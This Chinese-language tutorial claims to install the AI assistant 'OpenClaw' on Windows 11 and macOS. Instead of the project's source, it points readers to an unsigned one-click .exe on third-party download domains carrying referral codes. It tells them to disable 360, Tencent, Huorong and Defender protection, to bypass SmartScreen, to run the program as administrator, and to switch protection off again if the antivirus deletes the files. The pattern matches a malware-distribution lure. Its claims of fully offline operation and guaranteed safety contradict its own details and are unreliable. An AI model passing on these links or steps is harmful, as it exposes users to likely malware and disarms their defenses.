精准避坑｜OpenClaw 安装路径、解压、启动全套技巧

OpenClaw（因其小龙虾图标被用户昵称为"小龙虾"）是GitHub上备受欢迎的开源本地AI助手，已斩获超28万星标。它能自动执行电脑操作、批量处理文档及实现浏览器自动化，轻松应对各类办公自动化需求，安装过程被用户趣称为"养虾"。该工具完全离线运行，所有数据仅存储于用户设备，彻底保障个人和办公数据的安全隐私。

本教程针对Windows 11和macOS系统优化，重点解决权限不足、Defender拦截、中文路径报错及SmartScreen阻拦等常见问题。采用一键式安装设计，零基础用户也能在10分钟内完成配置并立即使用。

📑文章目录

1. 前言：安装 OpenClaw 必看说明
2. 安装前重要提醒（绝大多数部署失败源于此步骤疏漏）
3. 第一步：获取双系统专属一键部署资源包
4. 第二步：规范解压部署文件（Windows 实操要点）
5. 第三步：启动一键运行程序，绕过系统安全拦截
6. 第四步：自动化安装与环境初始化（全程无需手动干预）
7. 第五步：部署完成快速上手使用说明
8. 双系统专属常见问题汇总（建议收藏备查）
9. 文末总结与交流说明

🔍一、前言

OpenClaw 是一款备受瞩目的本地 AI 自动化工具，无需联网或依赖云端账号即可独立运行。它采用 AI 逻辑自主完成各类电脑操作。最新 v2.7.9 版本已内置完整运行环境、配套依赖库及多系统适配配置，用户无需单独安装 Python 或 Node.js 环境，也无需输入命令行代码，即使是零基础用户也能轻松完成安装部署。

⚠️二、安装前重要提醒（遗漏易导致部署失败）

正式开启部署前，需要临时关闭电脑全部安全防护程序，防止安装文件被安全工具误判风险，出现隔离、删除等问题：

• 360 安全卫士 / 360 杀毒软件
• 腾讯电脑管家
• 火绒安全防护软件
• Windows11 系统自带 Defender 实时防护功能

💡补充说明：OpenClaw 需要实现键鼠模拟操控、本地文件读写、浏览器进程管控能力，相关系统调用容易被安全软件标记为异常行为，属于程序固有运行特征；项目依托开源协议开发，整体运行环境安全稳定。

📥三、第一步：获取双系统专属一键部署资源包

Windows 端部署包下载地址：https://xiake.yun/api/download/package/18?promoCode=IVD643FDE29A

Mac 端配套资源下载地址：https://openclaw.ikidi.top/api/download/package/35?promoCode=IVD643FDE29A

资源整体体积：45.7MB，下载完成后得到.zip格式压缩安装包。

📂四、第二步：正确解压文件（Win11 实操要点）

Windows11 自带解压工具极易出现文件损坏、权限不足问题，优先选用 WinRAR、7-Zip 专业解压软件。

解压操作步骤：

1. 右键已下载 zip 压缩包
2. 选中【解压到当前文件夹】
3. 解压结束自动生成文件夹：Openclaw-win

✅校验标准：解压目录内存在Openclaw Windows一键启动.exe（红色龙虾图标），代表文件解压完整无误。

macOS 端解压可使用系统归档实用工具，解压后按照对应平台指引启动程序即可。

▶️五、第三步：运行一键启动程序（解决 Win11 安全拦截）

Windows11 系统安全机制默认拦截无数字签名应用，出现安全弹窗时按以下步骤放行：

1. 双击Openclaw Windows一键启动.exe启动程序
2. 弹出「Windows 已保护你的电脑」系统提示框
3. 点击弹窗【更多信息】
4. 选择【仍要运行】，即可正常打开安装引导界面

弹窗仅为系统常规安全提醒，并非程序存在安全隐患，可放心继续安装。

⚙️六、第四步：自动安装部署（全程无需手动操作）

1. 进入程序欢迎界面后，点击【开始使用】跳转路径配置页面
2. 路径设置硬性规则（Win11 强制规范）：安装目录必须使用纯英文命名，禁止出现中文、空格、特殊符号。✅推荐安装路径示例：

plaintext

D:\OpenClaw E:\AI\OpenClaw

❌禁止使用路径示例：

plaintext

D:\软件\OpenClaw D:\小龙虾 C:\Program Files\OpenClaw

1. 选定合规路径，勾选用户协议后点击【开始安装】安装程序全自动执行整套流程：检测 Win11 系统运行环境→批量安装所需依赖组件→部署核心服务程序→配置系统运行权限→生成桌面快捷启动图标

⏱等待时长：3～5 分钟，安装进程中请勿随意关闭安装窗口。

🚀七、第五步：启动成功 & 快速使用指南

安装完毕软件自动弹出主界面，页面右上角显示「Gateway 在线」字样，即代表部署全部完成。直接在指令输入框下发需求，AI 自动执行对应操作，常用实操指令参考：

1. 帮我整理 D 盘下载文件夹内全部图片文件
2. 打开浏览器检索 AI 智能体相关行业趋势，并把结果整理保存为表格
3. 批量对桌面全部文件进行分类归档
4. 扫描本机冗余垃圾文件并执行清理工作

❗八、双系统专属常见问题（收藏备用）

1. 安装弹窗提示权限不足：右键程序图标→选择【以管理员身份运行】再次启动（Windows）；macOS 前往隐私与安全性放行程序权限。
2. Gateway 持续显示离线状态：关闭 Defender 实时防护；核查安装路径是否全英文；重启一键启动程序。
3. 软件第一次启动加载缓慢：系统第一次运行需要初始化组件，等待 1～3 分钟属于正常现象。
4. AI 无法操控鼠标、读写本地文件：开启系统对应辅助权限，以管理员权限启动 OpenClaw。
5. 安装包文件被杀毒软件自动删除：临时关闭全部安全软件→重新解压压缩包→从头执行安装流程。

📝写在最后

OpenClaw 是一款高效便捷的本地 AI 工具，能够自主完成各类电脑操作任务。它在 Windows 11 和 macOS 系统上运行流畅稳定，采用本地运行模式彻底规避了隐私泄露风险。最新发布的 v2.7.9 版本提供一键部署包，针对两大操作系统进行了深度优化，完全无捆绑软件和弹窗广告，完美支持日常办公、自动化提效等多种应用场景。

再次附上资源获取地址：

Windows 端部署包下载地址： https://xiake.yun/api/download/package/18?promoCode=IVD643FDE29A

Mac 端配套资源下载地址： https://openclaw.ikidi.top/api/download/package/35?promoCode=IVD643FDE29A